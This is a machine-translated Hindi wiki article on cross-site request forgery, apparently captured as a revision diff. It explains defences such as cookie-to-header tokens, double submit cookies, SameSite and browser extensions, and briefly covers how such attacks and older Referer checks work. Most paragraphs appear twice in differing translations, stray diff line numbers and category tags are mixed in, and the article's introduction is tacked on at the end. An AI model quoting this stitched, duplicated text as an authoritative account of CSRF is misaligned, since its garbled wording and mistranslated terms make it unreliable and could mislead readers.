* किसी संबद्ध सर्वर सेशन के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में सामान्यतः यादृच्छिक टोकन होता है जो वेब सेशन के जीवनकाल तक समान रह सकता है
* किसी संबद्ध सर्वर सेशन के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में सामान्यतः यादृच्छिक टोकन होता है जो वेब सेशन के जीवनकाल तक समान रह सकता है
<syntaxhighlight>
Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/; SameSite=Lax; Secure
</syntaxhighlight>
* क्लाइंट साइड पर कार्य करने वाला जावास्क्रिप्ट इसके मान को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम [[HTTP हेडर|एचटीटीपी हेडर]] में कॉपी करता है
<syntaxhighlight>
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
</syntaxhighlight>
* सर्वर टोकन की उपस्थिति और संपूर्णता को मान्य करता है


सेट-कुकी: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; समाप्ति=गुरु, 23-जुलाई-2015 10:25:33 जीएमटी; अधिकतम आयु=31449600; पथ=/; सेमसाइट=लैक्स; सुरक्षित
इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मान को पढ़ने में सक्षम होती है। किसी रोगे फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि तथापि {{mono|csrf-token}} कुकी स्वचालित रूप से रोगे रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैलिड की अपेक्षा करेगा {{mono|X-Csrf-Token}} शीर्ष लेख.


* क्लाइंट साइड पर काम करने वाला जावास्क्रिप्ट इसके मूल्य को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम [[HTTP हेडर|एचटीटीपी हेडर]] में कॉपी करता है
सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे एचएमएसी का उपयोग करके [[सत्र कुकी|सेशन कुकी]] से प्राप्त किया जा सकता है:


  X-Csrf-टोकन: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  csrf_token = HMAC(session_token, application_secret)


* सर्वर टोकन की उपस्थिति और अखंडता को मान्य करता है
सीएसआरएफ टोकन कुकी में [[httpOnly]] फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का अभिप्राय है।


इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मूल्य को पढ़ने में सक्षम होगी। किसी दुष्ट फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि भले ही {{mono|csrf-token}} कुकी स्वचालित रूप से दुष्ट रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैध की अपेक्षा करेगा {{mono|X-Csrf-Token}} शीर्ष लेख.
यह तकनीक अनेक आधुनिक फ़्रेमवर्क जैसे जैंगो (वेब ​​फ़्रेमवर्क) और [[AngularJS|एंगुलरजेएस]] द्वारा कार्यान्वित की जाती है,<ref>{{cite web | url=https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | title=क्रॉस साइट अनुरोध जालसाजी संरक्षण| publisher=Django | access-date=2015-01-20 | archive-url=https://web.archive.org/web/20150120134602/https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | archive-date=2015-01-20 | url-status=dead }}</ref> <ref>{{cite web | url=https://docs.angularjs.org/api/ng/service/$http#cross-site-request-forgery-xsrf-protection | title=क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा| publisher=AngularJS | access-date=2015-01-20}}</ref> क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह [[AJAX|एजेएएक्स]] एप्लिकेशनों के साथ उचित प्रकार से कार्य करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को प्रयुक्त नहीं करता है।
 
सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे HMAC का उपयोग करके [[सत्र कुकी|सेशन कुकी]] से प्राप्त किया जा सकता है:
 
सीएसआरएफ_टोकन = [[एचएमएसी]](सेशन_टोकन, एप्लिकेशन_सीक्रेट)
 
सीएसआरएफ टोकन कुकी में [[httpOnly]] फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का इरादा है।
 
यह तकनीक अनेक आधुनिक ढाँचों द्वारा कार्यान्वित की जाती है, जैसे जैंगो (वेब ​​ढाँचा)<ref>{{cite web | url=https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | title=क्रॉस साइट अनुरोध जालसाजी संरक्षण| publisher=Django | access-date=2015-01-20 | archive-url=https://web.archive.org/web/20150120134602/https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | archive-date=2015-01-20 | url-status=dead }}</ref> और [[AngularJS]].<ref>{{cite web | url=https://docs.angularjs.org/api/ng/service/$http#cross-site-request-forgery-xsrf-protection | title=क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा| publisher=AngularJS | access-date=2015-01-20}}</ref> क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह [[AJAX|एजेएएक्स]] एप्लिकेशनों के साथ अच्छी तरह से काम करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को प्रयुक्त नहीं करता है।


यदि टारगेट वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:
यदि टारगेट वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:


* {{mono|clientaccesspolicy.xml}} सिल्वरलाइट नियंत्रणों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल<ref>{{cite web|url=http://msdn.microsoft.com/en-us/library/cc197955.aspx|title=Making a Service Available Across Domain Boundaries}}</ref>
* {{mono|clientaccesspolicy.xml}} सिल्वरलाइट नियंत्रणों तक अनपेक्षित पहुंच प्रदान करती है।<ref>{{cite web|url=http://msdn.microsoft.com/en-us/library/cc197955.aspx|title=Making a Service Available Across Domain Boundaries}}</ref>
* {{mono|crossdomain.xml}} फ्लैश फिल्मों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल<ref>{{cite web|url=https://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html|title=फ़्लैश प्लेयर के लिए क्रॉस-डोमेन नीति फ़ाइल उपयोग अनुशंसाएँ - एडोब डेवलपर कनेक्शन|first=Lucas|last=Adamski}}</ref>
* {{mono|crossdomain.xml}} फ्लैश फिल्मों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल है।<ref>{{cite web|url=https://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html|title=फ़्लैश प्लेयर के लिए क्रॉस-डोमेन नीति फ़ाइल उपयोग अनुशंसाएँ - एडोब डेवलपर कनेक्शन|first=Lucas|last=Adamski}}</ref>




===डबल सबमिट कुकी===
===डबल सबमिट कुकी===


कुकी-टू-हेडर दृष्टिकोण के समान, किन्तु जावास्क्रिप्ट को सम्मिलित किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक एचटीएमएल फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट जांच कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है या नहीं। समान-मूल नीति किसी अटैक्स को टारगेट डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैध टोकन नहीं डाल सकते हैं।<ref>{{cite web|url=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#double-submit-cookie|title=डबल सबमिट कुकी रक्षा|publisher=OWASP}}</ref>
इस प्रकार से कुकी-टू-हेडर दृष्टिकोण के समान, किन्तु जावास्क्रिप्ट को सम्मिलित किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक एचटीएमएल फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट चेक कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है, या नहीं खाता है। जिससे समान-मूल नीति किसी अटैक्स को टारगेट डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैलिड टोकन नहीं डाल सकते हैं।<ref>{{cite web|url=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#double-submit-cookie|title=डबल सबमिट कुकी रक्षा|publisher=OWASP}}</ref>
 
सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है।
 
===समान साइट कुकी विशेषता===


जब सर्वर कुकी सेट करता है, तो अतिरिक्त सेमसाइट विशेषता सम्मिलित की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट अनुरोधों में संलग्न किया जाए या नहीं। यदि यह विशेषता सख्त पर सेट है, तो कुकी केवल उसी साइट अनुरोधों पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाएगा। चूंकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही ढंग से प्रयुक्त करने की आवश्यकता होती है।<ref>{{cite web|url=https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies|title=सेमसाइट कुकीज़|publisher=Mozilla}}</ref>
अतः सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है।


===सेमसाईट कुकी विशेषता===


जब सर्वर कुकी सेट करता है, तो इसके अतिरिक्त "सेमसाइट" विशेषता सम्मिलित की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट रिक्वेस्ट में संलग्न किया जाए या नहीं। यदि यह विशेषता <nowiki>''</nowiki>स्ट्रीक<nowiki>''</nowiki> पर सेट है, तो कुकी केवल उसी साइट रिक्वेस्ट पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाते है। चूंकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही रूप से प्रयुक्त करने की आवश्यकता होती है।<ref>{{cite web|url=https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies|title=सेमसाइट कुकीज़|publisher=Mozilla}}</ref>
===ग्राहक-पक्ष सुरक्षा उपाय===
===ग्राहक-पक्ष सुरक्षा उपाय===


ब्राउज़र एक्सटेंशन जैसे RequestPolicy ([[मोज़िला फ़ायरफ़ॉक्स]] के लिए) या {{proper name|uMatrix}} (फ़ायरफ़ॉक्स और गूगल क्रोम/क्रोमियम (वेब ​​​​ब्राउज़र) दोनों के लिए) क्रॉस-साइट अनुरोधों के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। चूंकि, यह अनेक वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। CsFire एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट अनुरोधों से प्रमाणीकरण डेटा को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ सीएसआरएफ के प्रभाव को कम कर सकता है।
ब्राउज़र एक्सटेंशन जैसे रिक्वेस्टपॉलिसीय ([[मोज़िला फ़ायरफ़ॉक्स]] के लिए) या {{proper name|uMatrix}} (फ़ायरफ़ॉक्स और गूगल क्रोम/क्रोमियम (वेब ​​​​ब्राउज़र) दोनों के लिए) क्रॉस-साइट रिक्वेस्ट के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। चूंकि, यह अनेक वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। सीएसफायर एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट रिक्वेस्ट से ओथेन्टिकेटेड डेटा को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ सीएसआरएफ के प्रभाव को कम कर सकता है।


फ़ायरफ़ॉक्स के लिए [[नोस्क्रिप्ट]] एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए पोस्ट अनुरोधों से प्रमाणीकरण और पेलोड को हटाकर सीएसआरएफ खतरों को कम करता है। नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए अनुरोधों को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के अटैक्स को रोका जा सकता है।
अतः फ़ायरफ़ॉक्स के लिए [[नोस्क्रिप्ट]] एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए पोस्ट रिक्वेस्ट से ओथेन्टिकेटेड और पेलोड को हटाकर सीएसआरएफ संकट को कम करता है। और नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए रिक्वेस्ट को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के अटैक्स को रोका जा सकता है।


फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, किन्तु कुकीज़ को हटाकर, जैसे ही वे खुले टैब से संबद्ध नहीं होते हैं, अटैक की विंडो को कम कर सकता है।
चूंकि फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, किन्तु कुकीज़ को हटाकर, जैसे ही वे ओपन टैब से संबद्ध नहीं होते हैं, किन्तु अटैक की विंडो को कम कर सकता है।


===अन्य तकनीकें===
===अन्य तकनीकें===


ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए अनेक अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है:
इस प्रकार से ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए अनेक अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है:


* यह सत्यापित करना कि रिक्वेस्ट के शीर्षलेखों में सम्मिलित है <code>X-Requested-With</code> (v2.0 से पहले [[रूबी ऑन रेल्स]] द्वारा और v1.2.5 से पहले जैंगो (वेब ​​फ्रेमवर्क) द्वारा उपयोग किया जाता है), या एचटीटीपी की जाँच कर रहा है <code>Referer</code> हेडर और/या एचटीटीपी <code>Origin</code> शीर्षक.<ref>[https://people.mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html Origin Header Proposal] {{Webarchive|url=https://web.archive.org/web/20160308045123/http://people.mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html |date=2016-03-08 }}. People.mozilla.org. Retrieved on 2013-07-29.</ref> चूंकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन अटैक्स को किसी भी वेबसाइट के रिक्वेस्ट पर कस्टम एचटीटीपी हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली रिक्वेस्ट की अनुमति मिलती है।<ref>{{cite web|title=Django 1.2.5 release notes|url=https://www.djangoproject.com/weblog/2011/feb/08/security/|work=Django}}</ref><ref>{{cite web|url=https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29|title=क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)|date=4 September 2012|work=OWASP, The Open Web Application Security Project|access-date=11 September 2012}}</ref>
* यह सत्यापित करना कि रिक्वेस्ट के शीर्षलेखों में सम्मिलित है <code>X-Requested-With</code> (v2.0 से पहले [[रूबी ऑन रेल्स]] द्वारा और v1.2.5 से पहले जैंगो (वेब ​​फ्रेमवर्क) द्वारा उपयोग किया जाता है), या एचटीटीपी की जाँच कर रहा है <code>Referer</code> हेडर और/या एचटीटीपी <code>Origin</code> हेडर.<ref>[https://people.mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html Origin Header Proposal] {{Webarchive|url=https://web.archive.org/web/20160308045123/http://people.mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html |date=2016-03-08 }}. People.mozilla.org. Retrieved on 2013-07-29.</ref> चूंकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन अटैक्स को किसी भी वेबसाइट के रिक्वेस्ट पर कस्टम एचटीटीपी हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली रिक्वेस्ट की अनुमति मिलती है।<ref>{{cite web|title=Django 1.2.5 release notes|url=https://www.djangoproject.com/weblog/2011/feb/08/security/|work=Django}}</ref><ref>{{cite web|url=https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29|title=क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)|date=4 September 2012|work=OWASP, The Open Web Application Security Project|access-date=11 September 2012}}</ref>
* एचटीटीपी रेफरर एचटीटीपी की जाँच करना <code>Referer</code> हेडर यह देखने के लिए कि क्या रिक्वेस्ट किसी अधिकृत पेज से आ रहा है, सामान्यतः एम्बेडेड नेटवर्क डिवाइस के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। चूंकि, रिक्वेस्ट जो इसे छोड़ देता है <code>Referer</code> हेडर को अनधिकृत माना जाना चाहिए क्योंकि कोई अटैक्स इसे दबा सकता है <code>Referer</code> एफ़टीपी या एचटीटीपीएस यूआरएल से रिक्वेस्ट रेलीज़ड करके हेडर। यह सख्त <code>Referer</code> सत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ पैदा कर सकता है जो इसे छोड़ देते हैं <code>Referer</code> गोपनीयता कारणों से शीर्षलेख. साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) मालिसियस फ़्लैश को [[HTTP प्रतिक्रिया विभाजन|एचटीटीपी प्रतिक्रिया विभाजन]] का उपयोग करके मनमाने ढंग से एचटीटीपी रिक्वेस्ट हेडर के साथ जीईटी या पोस्ट रिक्वेस्ट उत्पन्न करने की अनुमति देते हैं।<ref>{{cite web|url=https://secunia.com/advisories/22467/|title=Secunia Advisory SA22467|date=19 October 2006|publisher=Secunia|access-date=11 September 2012}}</ref> क्लाइंट में समान सीआरएलएफ इंजेक्शन दुर्बलता का उपयोग एचटीटीपी रिक्वेस्ट के रेफरर को धोखा देने के लिए किया जा सकता है।
* एचटीटीपी रेफरर एचटीटीपी की जाँच करना <code>Referer</code> हेडर यह देखने के लिए कि क्या रिक्वेस्ट किसी अधिकृत पेज से आ रहा है, सामान्यतः एम्बेडेड नेटवर्क डिवाइस के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। चूंकि, रिक्वेस्ट जो <code>Referer</code> हेडर को छोड़ देता है अनधिकृत माना जाना चाहिए क्योंकि कोई <code>Referer हेडर</code> एफ़टीपी या एचटीटीपीएस यूआरएल से रिक्वेस्ट रेलीज़ड करके अटैक्स इसे दबा सकता है । यह स्ट्रीक <code>Referer</code> सत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ उत्पन्न कर सकता है जो <code>Referer हेडर</code>गोपनीयता कारणों से इसे छोड़ देते हैं। साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) मालिसियस फ़्लैश को [[HTTP प्रतिक्रिया विभाजन|एचटीटीपी प्रतिक्रिया विभाजन]] का उपयोग करके इच्छानुसार रूप से एचटीटीपी रिक्वेस्ट हेडर के साथ जीईटी या पोस्ट रिक्वेस्ट उत्पन्न करने की अनुमति देते हैं।<ref>{{cite web|url=https://secunia.com/advisories/22467/|title=Secunia Advisory SA22467|date=19 October 2006|publisher=Secunia|access-date=11 September 2012}}</ref> और क्लाइंट में समान सीआरएलएफ इंजेक्शन दुर्बलता का उपयोग एचटीटीपी रिक्वेस्ट के रेफरर को धोखा देने के लिए किया जा सकता है।
* कुछ समय के लिए पोस्ट रिक्वेस्ट [[अनुरोध विधि|विधि]] को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके मामूली सीएसआरएफ अटैक्स के प्रति प्रतिरोधी माना जाता था। चूंकि, पोस्ट और किसी अन्य एचटीटीपी विधि दोनों को अब एक्सएमएलHttpRequests का उपयोग करके सरलता से निष्पादित किया जा सकता है। अप्रत्याशित जीईटी अनुरोधों को फ़िल्टर करना अभी भी कुछ विशेष अटैक्स को रोकता है, जैसे मालिसियस छवि यूआरएल या लिंक एड्रेस का उपयोग करके क्रॉस-साइट अटैक और क्रॉस-साइट सूचना लीकेज <code>&lt;script></code> तत्व (जावास्क्रिप्ट अपहरण); यह आक्रामक [[वेब क्रॉलर]] और [[लिंक प्रीफेचिंग]] के साथ (गैर-सुरक्षा-संबंधी) समस्याओं को भी रोकता है।<ref name="Shiflett" />
* कुछ समय के लिए पोस्ट रिक्वेस्ट [[अनुरोध विधि|मेथेड]] को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके सामान्य सीएसआरएफ अटैक्स के प्रति प्रतिरोधी माना जाता था। चूंकि, पोस्ट और किसी अन्य एचटीटीपी विधि दोनों को अब XMLHttpRequests का उपयोग करके सरलता से निष्पादित किया जा सकता है। और अप्रत्याशित जीईटी रिक्वेस्ट को फ़िल्टर करना अभी भी कुछ विशेष अटैक्स को रोकता है, जैसे मालिसियस इमेज यूआरएल या लिंक एड्रेस का उपयोग करके क्रॉस-साइट अटैक और क्रॉस-साइट सूचना लीकेज <code>&lt;script></code> तत्व (जावास्क्रिप्ट हाईजैकिंग); यह आक्रामक [[वेब क्रॉलर]] और [[लिंक प्रीफेचिंग]] के साथ (नॉन-सिक्यूरिटी-रिलेटेड) समस्याओं को भी रोकता है।<ref name="Shiflett" />


क्रॉस-साइट स्क्रिप्टिंग (एक्सएसएस ) निर्बलता (यहां तक ​​कि ही डोमेन पर चलने वाले अन्य एप्लिकेशनों में भी) अटैक्सों को अनिवार्य रूप से सभी सीएसआरएफ रोकथामों को बायपास करने की अनुमति देती हैं।<ref>{{cite web|url=http://www.webappsecblog.com/CsrfAndSameOriginXss.html|title=सीएसआरएफ और समान-मूल XSS|first=Christian|last=Schneider|access-date=2012-04-21|archive-url=https://web.archive.org/web/20120814151512/http://www.webappsecblog.com/CsrfAndSameOriginXss.html|archive-date=2012-08-14|url-status=dead}}</ref>
इस प्रकार से क्रॉस-साइट स्क्रिप्टिंग (एक्सएसएस ) निर्बलता (यहां तक ​​कि ही डोमेन पर चलने वाले अन्य एप्लिकेशनों में भी) अटैक्सों को अनिवार्य रूप से सभी सीएसआरएफ रोकथामों को अनदेखा करने की अनुमति देती हैं।<ref>{{cite web|url=http://www.webappsecblog.com/CsrfAndSameOriginXss.html|title=सीएसआरएफ और समान-मूल XSS|first=Christian|last=Schneider|access-date=2012-04-21|archive-url=https://web.archive.org/web/20120814151512/http://www.webappsecblog.com/CsrfAndSameOriginXss.html|archive-date=2012-08-14|url-status=dead}}</ref>
==यह भी देखें==
==यह भी देखें==


* [[उल्लंघन]]
* [[उल्लंघन|ब्रीच]]
* [[भ्रमित डिप्टी समस्या]]
* [[भ्रमित डिप्टी समस्या|कन्फ्यूज्ड डिप्टी समस्या]]
* [[अपराध]]
* [[अपराध|क्राइम]]  
* [[वेब मैसेजिंग]]
* [[वेब मैसेजिंग]]
* [[ढेर छिड़काव]]
* [[ढेर छिड़काव|हीप स्प्रेइंग]]
* अटैक को फिर से खेलना
* रिप्लाई अटैक
* सेशन निर्धारण
* सेशन फिक्सेशन
* एप्लिकेशन सुरक्षा
* एप्लिकेशन सिक्यूरिटी


==संदर्भ==
==संदर्भ==
Line 169: Line 167:
* [https://web.archive.org/web/20090914043521/http://projects.webappsec.org/Cross-Site+Request+Forgery Cross-Site Request Forgery from The Web Application Security Consortium Threat Classification Project]
* [https://web.archive.org/web/20090914043521/http://projects.webappsec.org/Cross-Site+Request+Forgery Cross-Site Request Forgery from The Web Application Security Consortium Threat Classification Project]


{{DEFAULTSORT:Cross-Site Request Forgery}}[[Category: वेब सुरक्षा शोषण]]
{{DEFAULTSORT:Cross-Site Request Forgery}}
 
 


[[Category: Machine Translated Page]]
[[Category:CS1 English-language sources (en)]]
[[Category:Created On 10/07/2023]]
[[Category:Created On 10/07/2023|Cross-Site Request Forgery]]
[[Category:Lua-based templates|Cross-Site Request Forgery]]
[[Category:Machine Translated Page|Cross-Site Request Forgery]]
[[Category:Pages with script errors|Cross-Site Request Forgery]]
[[Category:Pages with syntax highlighting errors]]
[[Category:Short description with empty Wikidata description|Cross-Site Request Forgery]]
[[Category:Templates Vigyan Ready|Cross-Site Request Forgery]]
[[Category:Templates that add a tracking category|Cross-Site Request Forgery]]
[[Category:Templates that generate short descriptions|Cross-Site Request Forgery]]
[[Category:Templates using TemplateData|Cross-Site Request Forgery]]
[[Category:Webarchive template wayback links]]
[[Category:वेब सुरक्षा शोषण|Cross-Site Request Forgery]]

Latest revision as of 11:27, 21 August 2023

क्रॉस-साइट रिक्वेस्ट जालसाजी, जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है। और इसे संक्षिप्त रूप में सीएसआरएफ (कभी-कभी सी-सर्फ कहा जाता है) या एक्सएसआरएफ कहा जाता है,[1] या वेबसाइट या वेब एप्लिकेशन का प्रकार का मालिसियस एक्सप्लॉइट (कंप्यूटर) है। जहां उपयोगकर्ता (कंप्यूटिंग) से अनधिकृत कमांड सबमिट किए जाते हैं। जिस पर वेब एप्लिकेशन विश्वास करता है।[2] इस प्रकार से ऐसी अनेक विधि हैं। जिनसे कोई मालिसियस वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए इमेज टैग्स, छिपे हुए फॉर्म और जावास्क्रिप्ट फ़ेच विकल्प या XMLHttpRequests, ये सभी उपयोगकर्ता की कोन्वर्सेसन या नॉलेज के बिना भी कार्य कर सकते हैं। इस प्रकार से क्रॉस साइट स्क्रिप्टिंग (एक्सएसएस) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के विश्वास का लाभ उठाता है, सीएसआरएफ उस विश्वास का लाभ उठाता है। जो की साइट उपयोगकर्ता के ब्राउज़र में रखती है।[3] सीएसआरएफ अटैक में, निर्दोष अंतिम उपयोगकर्ता को अटैक्स द्वारा वेब रिक्वेस्ट सबमिट करने के लिए भटकाया जाता है, जिसका उनका अभिप्राय नहीं था। इससे वेबसाइट पर ऐसी क्रियाएँ हो सकती हैं जिनमें इंडवेरटेन्ट क्लाइंट या सर्वर डेटा लीकेज, सेशन स्थिति में परिवर्तन, या अंतिम उपयोगकर्ता के अकाउंट में परिवर्तन सम्मिलित हो सकता है।

इस प्रकार से सीएसआरएफ शब्द का उपयोग सीएसआरएफ अटैक्स के अधीन बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे अटैक्स का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं।

विशेषताएँ

